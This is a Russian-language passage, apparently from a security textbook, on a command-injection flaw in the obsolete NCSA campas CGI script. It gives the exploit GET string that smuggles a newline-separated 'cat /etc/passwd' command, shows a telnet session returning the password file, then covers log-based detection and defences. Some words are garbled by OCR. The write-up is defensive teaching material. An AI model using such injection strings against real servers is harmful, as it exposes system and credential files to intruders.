Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
55
Добавлен:
17.04.2013
Размер:
1.19 Mб
Скачать

Подробное описание

Сценарий campas можно заставить выполнять любую команду оболочки, если правильно сконструировать строку запроса. В описанном ниже примере взломщик использует ценарий campas для получения содержимого файла /etc/passwd. В данном файле опеционные системы UNIX обычно хранят зашифрованные версии паролей пользователей, которые могут быть использованы для восстановления исходных паролей. Это только один из вариантов применения сценария campas для взлома системы.

Комбинация символов %0а является шестнадцатеричным представлением символа перевода каретки в кодировке ASCII. Сценарию campas можно передать такую строку GET:

/cgi-bin/campas?%0acat%0a/etc/passwd%0a\n.

Если бы в сценарии была предусмотрена проверка правильности форматировал строки аргументов и разрешена обработка только заданных команд и символов, этого эксплоита не существовало бы.

Взломщик может передать строку запроса HTTP GET вручную, подключившись клиентом telnet к Web-серверу или введя URL в строке адреса своего броузера. Поскольку сервер не имеет возможности узнать, какая программа подключилась к нему - telnet или броузер, — то после подключения он обрабатывает запрос GET. При этом запускается сцен рий campas, которому передается строка аргументов, а результаты возвращай взломщику

Способ применения

Ниже приведен пример взлома с помощью клиента telnet.

> telnet 192.168.1.1 80

Trying 192.168.1.1

Connected to somehost.com

Escape character is 1A]'.

GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a HTTP/1.0

<PRE>

root:x:0:1:Super-User:/export/home/root:/sbin/sh

daemon:x:1:1::/;

bin:x:2:2::/usr/bin:

sys:x:3:3::/:

adm:x:4:4:Admin:/var/adm:

lp:x:71:8:Line Printer Admin:/usr/spool/lp:

smtp:x:0:0:Mail Daemon User:/:/bin/false

…………………

Поскольку протокол HTTP построен на текстовых командах, взломщик может вводить их вручную, даже не пользуясь возможностями броузера. В результате выполнения действий, приведенных выше, сервер перешлет содержимое файла /etc/passwd в формате HTML. После этого соединение будет разорвано.

Симптомы атаки

Поскольку данная атака основывается на использовании обычных HTTP-команд, отслеживание пакетов в сети не поможет выявить факт взлома. Взлом с помощью campal выглядит как обычный запрос к Web-серверу. Чтобы обнаружить взлом с помощы campas, нужно обратиться к системным журналам Web-сервера. Расположение и форма записей журнала зависят от типа конкретного сервера. Например, для сервера Арасhe, нужно проводить поиск строки, которая содержит слово campas. Ниже приведена команда, которая позволяет сделать это.

# egrep -i 'campas’ {ServerRoot}/logs/access_log

Однако не забывайте, что метод ведения системных журналов напрямую зависит от ерсии UNIX. Если все действия пользователей протоколируются, приведенный выше метод позволяет определить факт взлома с использованием campas.

Методы защиты

Для того чтобы защититься от взлома с помощью campas, нужно выполнить несколько действий.

Во-первых, Web-сервер никогда не должен запускаться с полномочиями пользователя t. Прочитайте документацию по вашему Web-серверу, и ограничьте права пользовате­ля,' от имени которого запускается сервер, до необходимого минимума. Этот пользователь должен иметь только те права, которые необходимы для нормального функционирования Web -сервера, и не более. Кроме того, этот пользователь не должен иметь прав запяси вфайлы настроек Web-сервера. Это не позволит взломщику отредактировать их таким об­разом, чтобы сервер запускался от имени суперпользователя. И наконец, Web-сервер не должен иметь прав записи в файлы, которые он обслуживает.

Во-вторых, HTTP-сервер NCSA, с которым поставляется сценарий campas, является устаревшим и более не поддерживается производителем. Для надежной защиты от взлома ; помощью campas нужно просто установить новый Web-сервер и убедиться в том, что ценарий campas удален из системы.

Соседние файлы в папке Другие сети от другого Малова